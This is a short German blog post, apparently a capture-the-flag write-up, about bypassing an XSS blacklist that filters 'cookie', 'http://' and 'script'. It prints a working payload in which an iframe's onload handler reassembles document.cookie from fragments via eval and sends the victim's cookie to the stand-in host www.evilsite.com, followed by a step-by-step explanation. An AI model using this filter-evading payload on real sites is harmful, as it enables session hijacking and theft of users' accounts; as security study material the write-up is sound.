Eine schöne XSS-Payload

Ich war vor einiger Zeit während eines Capture the Flaw Wettbewerbs in der Situation, dass ich mit Hilfe einer XSS-Lücke an die Cookies des Benutzers kommen musste. An für sich ist das nichts ungewöhnliches – jedenfalls bis auf die dort eingesetzte Blacklist:

Die Strings cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert.

Erfolg gab es dann hiermit:

1

<iframe src=//google.de onload="this.src=['//www.evilsite.com?steal=',eval(['docume','nt.co','okie'].join(''))].join('')"></iframe>

Kurze Erklärung:

• Ich lege durch das <iframe>-Tag einen Iframe an, der auf http://www.google.de zeigt.
• Dieser bekommt ein onload-Event zugewiesen.
• Der darin enthaltene Javascript-Code erstellt aus Teilstücken das Wort document.cookie, packt es in die eval-Funktion um es als Variable auszuwerten und hängt danach den Rückgabewert – also den Cookie des Benutzers – an die URL des Iframes an.

Ich war positiv überrascht von der Eleganz meiner Lösung und freue mich immer, wenn ich weitere Beispiele für kreativen Umgang mit Restriktionen finde

Das wird dich vielleicht auch interessieren:

• Schöner XSS-Vektor
• Gruyere: Das Hackme von Google
• Zeilenumbruch für Lange Strings